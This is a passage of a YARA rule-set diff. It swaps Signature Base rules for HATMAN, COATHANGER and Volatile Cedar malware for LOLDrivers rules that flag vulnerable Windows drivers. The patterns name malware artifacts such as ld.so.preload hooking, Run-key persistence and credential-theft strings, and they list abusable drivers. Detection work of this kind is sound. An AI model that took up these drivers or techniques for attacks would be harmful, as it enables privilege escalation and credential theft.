+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - rzpnk.sys"
 		author = "Florian Roth"
-		id = "5eb29f1f-f49f-54e9-8a9e-ba10fc9c826e"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_hatman.yar#L51-L57"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e9f775326dc0496662fbec98438e0273c51a88a434542dfcabd6e8b11131ab3e"
-		score = 75
-		quality = 85
-		tags = "HATMAN"
+		id = "f811136f-64db-5a3e-b4f3-e4c92c43b888"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L4531-L4551"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "ad8fd8300ed375e22463cea8767f68857d9a3b0ff8585fbeb60acef89bf4a7d7"
+		hash = "0507d893e3fd2917c81c1dc13ccb22ae5402ab6ca9fb8d89485010838050d08d"
+		logic_hash = "2cbeb5784c1f074b8d76d8f884e7529b8c137ff6b9df0320db677927766fcc70"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$oaddr_be = { 3c 60 00 03  60 63 96 f4  4e 80 00 20 }
-		$oaddr_le = { 03 00 60 3c  f4 96 63 60  20 00 80 4e }
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00520061007a006500720020004f007600650072006c0061007900200053007500700070006f00720074 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00520061007a00650072002c00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e00310032002e0039003900380036 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e00310032002e0039003900380036 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0052007a0070006e006b }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0052007a0070006e006b }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0052007a0070006e006b002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310030002d0032003000310034 }
 
 	condition:
-		$oaddr_be or $oaddr_le
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-private rule SIGNATURE_BASE_Hatman_Memcpy_PRIVATE : HATMAN
+rule LOLDRIVERS_PUA_VULN_Driver_Ludashicom_Computerzsys_71C0 : FILE
 {
 	meta:
-		description = "No description has been set in the source file - Signature Base"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ComputerZ.Sys"
 		author = "Florian Roth"
-		id = "2eb11f72-b37f-563f-8ce9-c4d4388598d3"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_hatman.yar#L29-L37"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1e1566cc09e1ddd70cdb3b199f6972931f84a29ae2ef4815a5ecf1fe42afe42b"
-		score = 75
-		quality = 85
-		tags = "HATMAN"
+		id = "f25a60ba-cfb0-5287-97b7-3a17b0aceca9"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L4554-L4578"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "71c0ce3d33352ba6a0fb26e274d0fa87dc756d2473e104e0f5a7d57fab8a5713"
+		hash = "13ae3081393f8100cc491ebb88ba58f0491b3550787cf3fd25a73aa7ca0290d9"
+		hash = "8781589c77df2330a0085866a455d3ef64e4771eb574a211849784fdfa765040"
+		hash = "e642d82c5cde2bc40a204736b5b8d6578e8e2b893877ae0508cfa3371fc254dc"
+		hash = "ed3448152bcacf20d7c33e9194c89d5304dee3fba16034dd0cc03a3374e63c91"
+		hash = "5c9e257c9740561b5744812e1343815e7972c362c8993d972b96a56e18c712f3"
+		logic_hash = "b25f9b0fcc34bd25d77bb0bbdc383f6f03e104c9d275caa61c53366855c10312"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$memcpy_be = { 7c a9 03 a6  38 84 ff ff  38 63 ff ff  8c a4 00 01
-                        9c a3 00 01  42 00 ff f8  4e 80 00 20              }
-		$memcpy_le = { a6 03 a9 7c  ff ff 84 38  ff ff 63 38  01 00 a4 8c
-                        01 00 a3 9c  f8 ff 00 42  20 00 80 4e              }
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004c007500640061007300680069002000530079007300740065006d0020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]006c007500640061007300680069002e0063006f006d }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0036002e00310035002e0031003000340035 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0036002e00310035002e0031003000340035 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0043006f006d00700075007400650072005a002e005300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]9c8159275e08 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0043006f006d00700075007400650072005a002e005300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]7248674362406709002000280043002900200032003000310030002d00320030003100350020007700770077002e006c007500640061007300680069002e0063006f006d }
 
 	condition:
-		$memcpy_be or $memcpy_le
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-private rule SIGNATURE_BASE_Hatman_Nullsub_PRIVATE : HATMAN
+rule LOLDRIVERS_PUA_VULN_Driver_Windowsrserverddkprovider_Speedfansys_Windowsrserverddkdriver_22BE : FILE
 {
 	meta:
-		description = "No description has been set in the source file - Signature Base"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - speedfan.sys"
 		author = "Florian Roth"
-		id = "1b0e708d-6e4c-5688-9fc6-c31a4fb3c4a8"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_hatman.yar#L45-L50"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7e7a7494e68450a03aeddfaa1fd0a3fb3cff06684d5bb0c4615571e698293fe3"
-		score = 75
-		quality = 85
-		tags = "HATMAN"
+		id = "c683be43-e577-5248-8a28-b13dbefd7f91"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L4581-L4600"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "22be050955347661685a4343c51f11c7811674e030386d2264cd12ecbf544b7c"
+		logic_hash = "ce5fb5f559f97130403f8f4c22a2f223892ba46b1df9fd6a99624e879a3fcea3"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$nullsub = { ff ff 60 38  02 00 00 44  20 00 80 4e }
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0053007000650065006400460061006e00200044006500760069006300650020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000530065007200760065007200200032003000300033002000440044004b002000700072006f00760069006400650072 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e0032002e0033003700390030002e00300020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e0032002e0033003700390030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0073007000650065006400660061006e002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000530065007200760065007200200032003000300033002000440044004b0020006400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0073007000650065006400660061006e002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a90020004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		$nullsub
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-private rule SIGNATURE_BASE_Hatman_Dividers_PRIVATE : HATMAN
+rule LOLDRIVERS_PUA_VULN_Driver_Openlibsysorg_Openlibsyssys_Openlibsys_9131 : FILE
 {
 	meta:
-		description = "No description has been set in the source file - Signature Base"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - OpenLibSys.sys"
 		author = "Florian Roth"
-		id = "1612a184-e06c-5c1b-987d-04e330e17ed0"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_hatman.yar#L38-L44"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "92ec47ea81b78ec9b05f5c17164daaef7112c8590b4443f70cf3bf2efd108e1f"
-		score = 75
-		quality = 85
-		tags = "HATMAN"
+		id = "94026bd4-e66c-551c-b054-b3b5191a5bb2"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L4603-L4622"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "91314768da140999e682d2a290d48b78bb25a35525ea12c1b1f9634d14602b2c"
+		logic_hash = "e61f4452ecae438072b37ae00ca67401541db0e8f6d5b0f1d697190fdff16d23"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$div1 = { 9a 78 56 00 }
-		$div2 = { 34 12 00 00 }
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004f00700065006e004c00690062005300790073 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004f00700065006e004c00690062005300790073002e006f00720067 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0032 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0032 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004f00700065006e004c00690062005300790073002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004f00700065006e004c00690062005300790073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004f00700065006e004c00690062005300790073002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000370020004f00700065006e004c00690062005300790073002e006f00720067 }
 
 	condition:
-		$div1 and $div2
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-private rule SIGNATURE_BASE_Hatman_Setstatus_PRIVATE : HATMAN
+rule LOLDRIVERS_PUA_VULN_Driver_Tgsoftsas_Viragtsys_Viritagentsystem_E4EC : FILE
 {
 	meta:
-		description = "No description has been set in the source file - Signature Base"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - viragt64.sys"
 		author = "Florian Roth"
-		id = "a0619dad-7cee-585a-9246-b3d4554e512f"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_hatman.yar#L21-L28"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "264292bbc479413bf70f05b96bcea3c856906eb8c711720831bea9b887a7ffb0"
-		score = 75
-		quality = 85
-		tags = "HATMAN"
+		id = "888a2b05-46c1-54b2-a996-14fb9fae5779"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L4625-L4644"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "e4eca7db365929ff7c5c785e2eab04ef8ec67ea9edcf7392f2b74eccd9449148"
+		logic_hash = "08fa3c764599e1f0cb4e76b38b9d577a2fd70fb3f6f3e8e70eea65f0cf16d93a"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$preset = { 80 00 40 3c  00 00 62 80  40 00 80 3c  40 20 03 7c
-                        ?? ?? 82 40  04 00 62 80  60 00 80 3c  40 20 03 7c
-                        ?? ?? 82 40  ?? ?? 42 38                           }
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0054004700200053006f0066007400200053002e0061002e0073002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c002000330038002c00200030002c00200030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c002000330038002c00200030002c00200030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007600690072006100670074002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]007600690072006100670074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200054004700200053006f0066007400200053002e0061002e0073002e00200032003000300036002c002000320030003100310020002d0020007700770077002e007400670073006f00660074002e00690074 }
 
 	condition:
-		$preset
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_MAL_Fortinet_COATHANGER_Beacon : COATHANGER FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Asustekcomputerinc_Atsziosys_Atsziodriver_FB6B : FILE
 {
 	meta:
-		description = "Detects COATHANGER beaconing code"
-		author = "NLD MIVD - JSCU"
-		id = "0c84e6e4-afae-5150-82e2-8de528cd11fc"
-		date = "2024-02-06"
-		modified = "2024-04-24"
-		reference = "https://www.ncsc.nl/documenten/publicaties/2024/februari/6/mivd-aivd-advisory-coathanger-tlp-clear"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/mal_fortinet_coathanger_feb24.yar#L2-L15"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e44496e62de8c885d5bd941819a97f4c0dd90ce2d0cfe9d042ab9590cc354ddb"
-		score = 75
-		quality = 85
-		tags = "COATHANGER, FILE"
-		malware = "COATHANGER"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ATSZIO.sys"
+		author = "Florian Roth"
+		id = "106afe18-1312-559d-87f5-319d67d36435"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L4647-L4666"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "fb6b0d304433bf88cc7d57728683dbb4b9833459dc33528918ead09b3907ff22"
+		logic_hash = "f62cc8ddd443bf196d36d5a3a2724aff4858fcc78abcdbb3cf7362228fde7a7b"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$chunk_1 = { 48 B8 47 45 54 20 2F 20 48 54 48 89 45 B0 48 B8 54 50 2F 32 0A 48 6F 73 48 89 45 B8 48 B8 74 3A 20 77 77 77 2E 67 48 89 45 C0 48 B8 6F 6F 67 6C 65 2E 63 6F }
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004100540053005a0049004f0020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004100530055005300540065006b00200043006f006d0070007500740065007200200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0030002e0032002e0032002e0033 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0030002e0032002e0032002e0033 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004100540053005a0049004f002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004100540053005a0049004f0020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004100540053005a0049004f002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310032 }
 
 	condition:
-		uint32(0)==0x464c457f and filesize <5MB and any of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_MAL_Fortinet_COATHANGER_Files : COATHANGER FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_075D : FILE
 {
 	meta:
-		description = "Detects COATHANGER files by used filenames"
-		author = "NLD MIVD - JSCU"
-		id = "0aa2f266-247b-5510-9fd9-4c7940fb80e8"
-		date = "2024-02-06"
-		modified = "2024-04-24"
-		reference = "https://www.ncsc.nl/documenten/publicaties/2024/februari/6/mivd-aivd-advisory-coathanger-tlp-clear"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/mal_fortinet_coathanger_feb24.yar#L17-L38"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5406d8a99e16f08f1ffca548ea1dd1e27e7707506e796e0fc263bcdbb681632d"
-		score = 75
-		quality = 85
-		tags = "COATHANGER, FILE"
-		malware = "COATHANGER"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
+		author = "Florian Roth"
+		id = "e58174ba-c931-549b-bf5d-bdc9aeb362cc"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L4669-L4689"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "075de997497262a9d105afeadaaefc6348b25ce0e0126505c24aa9396c251e85"
+		hash = "cdfbe62ef515546f1728189260d0bdf77167063b6dbb77f1db6ed8b61145a2bc"
+		logic_hash = "467c47d2a64332dc3b94a3b55655f0e0c4f10b19e8724718b8f2ccf97ffe6446"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$1 = "/data2/"
-		$2 = "/httpsd"
-		$3 = "/preload.so"
-		$4 = "/authd"
-		$5 = "/tmp/packfile"
-		$6 = "/smartctl"
-		$7 = "/etc/ld.so.preload"
-		$8 = "/newcli"
-		$9 = "/bin/busybox"
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310036002e00330032 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310036002e00330032 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d00610072006b002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000320030 }
 
 	condition:
-		( uint32(0)==0x464c457f or uint32(4)==0x464c457f) and filesize <5MB and 4 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Explosive_EXE : APT FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Micsystechnologycoltd_Msiosys_Msiodriverversion_X_AE42 : FILE
 {
 	meta:
-		description = "Explosion/Explosive Malware - Volatile Cedar APT"
-		author = "Check Point Software Technologies Inc."
-		id = "3a9fb6b2-2f19-5d70-81ed-a08c3b8b2d80"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_volatile_cedar.yar#L1-L12"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "77eb74586f5ef2878c0d283b925e6e066f704d00525303990cf5ea7988a6637d"
-		score = 75
-		quality = 85
-		tags = "APT, FILE"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - MsIo64.sys"
+		author = "Florian Roth"
+		id = "65c75c41-8edb-526b-b0e8-73eea5cb7502"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L4692-L4713"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "ae42afa9be9aa6f6a5ae09fa9c05cd2dfb7861dc72d4fd8e0130e5843756c471"
+		hash = "d636c011b8b2896572f5de260eb997182cc6955449b044a739bd19cbe6fdabd2"
+		hash = "0f035948848432bc243704041739e49b528f35c82a5be922d9e3b8a4c44398ff"
+		logic_hash = "04c6c306d589c72ca5315bc2c931ae06d1e229bb355d4fba7b987ffb3e599b58"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$DLD_S = "DLD-S:"
-		$DLD_E = "DLD-E:"
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004d0049004300530059005300200049004f0020006400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d0049004300530059005300200054006500630068006e006f006c006f0067007900200043006f002e002c0020004c00540064 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003300200078003600340020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00330020007800360034 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004d00730049006f00360034002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d00730049006f003600340020004400720069007600650072002000560065007200730069006f006e00200031002e0033 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004d00730049006f00360034002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800630029002000320030003200310020004d00490043005300590053 }
 
 	condition:
-		all of them and uint16(0)==0x5A4D
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Explosion_Sample_1 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Vektortsecurityservice_Vboxdrv_Antidetectpublic_3724 : FILE
 {
 	meta:
-		description = "Explosion/Explosive Malware - Volatile Cedar APT"
-		author = "Florian Roth (Nextron Systems)"
-		id = "dcf28185-75a8-5c9f-9f60-edb8dc187e16"
-		date = "2015-04-03"
-		modified = "2023-12-05"
-		reference = "http://goo.gl/5vYaNb"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_volatile_cedar.yar#L14-L38"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "c97693ecb36247bdb44ab3f12dfeae8be4d299bb"
-		logic_hash = "f559880c182cf8061d640f60f18fe607d88a1f22216d93ff1d0ece720bcc94a7"
-		score = 70
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - VBoxDrv.sys"
+		author = "Florian Roth"
+		id = "1305b627-146c-5ec6-9e27-abac84f5a2f4"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L4716-L4735"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "3724b39e97936bb20ada51c6119aded04530ed86f6b8d6b45fbfb2f3b9a4114b"
+		logic_hash = "6c2a12c5866686cde0e621bd35b73079d7d37d5b5d4b42bb962435a73682c32b"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s5 = "REG ADD \"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" ascii
-		$s9 = "WinAutologon From Winlogon Reg" fullword ascii
-		$s10 = "82BD0E67-9FEA-4748-8672-D5EFE5B779B0" fullword ascii
-		$s11 = "IE:Password-Protected sites" fullword ascii
-		$s12 = "\\his.sys" ascii
-		$s13 = "HTTP Password" fullword ascii
-		$s14 = "\\data.sys" ascii
-		$s15 = "EL$_RasDefaultCredentials#0" fullword wide
-		$s17 = "Office Outlook HTTP" fullword ascii
-		$s20 = "Hist :<b> %ws</b>  :%s </br></br>" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072007400750061006c0042006f007800200053007500700070006f007200740020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00560065006b0074006f0072002000540031003300200053006500630075007200690074007900200053006500720076006900630065 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0034002e0032002e003100310039003200330030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0034002e0032002e003100310039003200330030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00560042006f0078004400720076 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041006e00740069006400650074006500630074002000320030003100390020005000750062006c00690063 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00560042006f0078004400720076002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300039002d00320030003100390020004f007200610063006c006500200043006f00720070006f0072006100740069006f006e }
 
 	condition:
-		all of them and uint16(0)==0x5A4D
+		uint16(0)==0x5a4d and filesize <400KB and all of them
 }
-rule SIGNATURE_BASE_Explosion_Sample_2 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Elaboratebytesag_Elbycdio_Cdrtools_2380 : FILE
 {
 	meta:
-		description = "Explosion/Explosive Malware - Volatile Cedar APT"
-		author = "Florian Roth (Nextron Systems)"
-		id = "8be7ed50-0bfc-5302-b4fa-8817bf1750d7"
-		date = "2015-04-03"
-		modified = "2023-12-05"
-		reference = "http://goo.gl/5vYaNb"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_volatile_cedar.yar#L40-L57"
